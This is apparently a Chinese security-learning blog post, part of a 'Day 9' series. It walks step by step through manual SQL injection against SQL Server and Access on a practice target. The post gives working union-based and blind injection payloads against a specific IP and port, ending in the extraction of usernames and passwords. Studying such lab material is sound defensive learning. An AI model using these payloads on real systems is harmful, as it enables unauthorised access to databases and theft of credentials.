网安学习Day9

今天学习了sql server的注入,这里还是以墨者学院的在线靶场做演示。当我们拿到一个网址的时候,首先就是判断是否存在注入,其方法与mysql注入的方式时相同的:

http://219.153.49.228:47167/?id=2 and 1=1(正常回显)
http://219.153.49.228:47167/?id=2 and 1=2 #(不正常回显)

得知id存在注入

http://219.153.49.228:47167/?id=2 order by 4  #(正常回显)判断字段数4;5的时候报错

从而得到了字段数为4.接下来就是判断数据库类型:

http://219.153.49.228:47167/?id=2 and exists(select * from sysobjects) #正常回显表名是sqlserver

我们接下来就是判断当前数据库用户的权限

http://219.153.49.228:47167/?id=2 and 1=(is_srvrolemember('sysadmin')) #最高权限
http://219.153.49.228:47167/?id=2 and 1=(is_member('db_owner'))    #db_owner权限时,上面的语句返回错误
http://219.153.49.228:47167/?id=2 and 1=(is_srvrolemember('public'))    #最低权限,上面两条语句都会出错

通过报错来查找回显点

http://219.153.49.228:47167/?id=-2 union all select null,null,null,null #替换null为'null' ,第一个null被替换的时候报错,故第一个就是id

接下来知道回显点之后便是查询数据库版本等

union all select null,'null',(select @@version),null

然后查询当前数据库用户

 union all select null,'null',(db_name()),null 

查询其他的数据库用户:

 union all select null,'null',(db_name(1)),null 
 union all select null,'null',(db_name(2)),null 
 union all select null,'null',(db_name(3)),null

查询当前用户:

 union all select null,'null',(select user),null 

然后查询 当前用户.sysobjects表中用户创建的表,获取其对应的id和name

   union all select null,id,name,null from 当前用户名.sysbobjects where xtype='U'

然后在查询 下一个表名

    union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id<>5575058

然后查找对应id=5575058的表中的列:

 union all select top 1 null,id,name,null from dbo.syscolumns where id ='5575058' 

 union all select top 1 null,id,name,null from dbo.syscolumns where id ='5575058' and name not in ('id')

 union all select top 1 null,id,name,null from dbo.syscolumns where id ='5575058' and name not in ('id','username')

 union all select top 1 null,id,name,null from dbo.syscolumns where id ='5575058' and name not in ('id','username','password')

之后便是查询数据

union all select top 1 null,username,password,null from manage

 在Access数据库中是不存在database等函数的,并且他特有的表是msysobjects,我们不用去判断它当前的数据库,因为在access中的所有的表都存在于同一个数据库中,因此对于存在哪些表,以及猜测字段,只能通过爆破的方式进行。它与sqlserver比较的类似。

exists(select * from msysobjects) //如果正常返回 说明后台的数据库就是access

接下来便是查询数据库中的表:

and exists(select* from  admin) //如果存在admin表 ,则正常返回,不存在的话,就报出语法错误

接下来查询admin中有多少列

and exists(select * from admin order by 10) //如果正常返回 ,在11的时候返回错误 那么就说明存在10列    

接下来就是判断存在的列:

and exists(select name from admin) //这里就是判断是否存在name列名 ,如果正常返回,就说明存在,反之报语法错误

接下来就是测试表中存在多少行数据:

and exists(select count(*) from name)>99  //大于99正常返回 大于100的时候报出查询错误 而不是语法错误

然后就是猜测每个字段中的具体的数据:
access数据库中没有limit,就不可以限制查询出来的行数,但是我们可以使用top命令,top n就是显示查询出来的前n行数据。猜测admin列的第一个数据的长度,如果大于5查询不出数据,大于4正常,说明admin列的第一个数据长度是5

and (select top 1 len(admin)from admin)>5

猜测admin列的第一行数据的第一个字符的ascii码值,如果大于100查询不出数据,大于99正常,说明admin列的第一行数据的第一个字符的ascii值是100

and (select top 1 asc(mid(admin,1,1))from admin)>97 
第一行数据的第二个字符
and (select top 1 asc(mid(admin,2,1))from admin)>97 
 

对于sqlserver以及access数据库的注入,我们可以通过sqlmap、pangolin进行测试。大体上的原理就写到这里。
 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值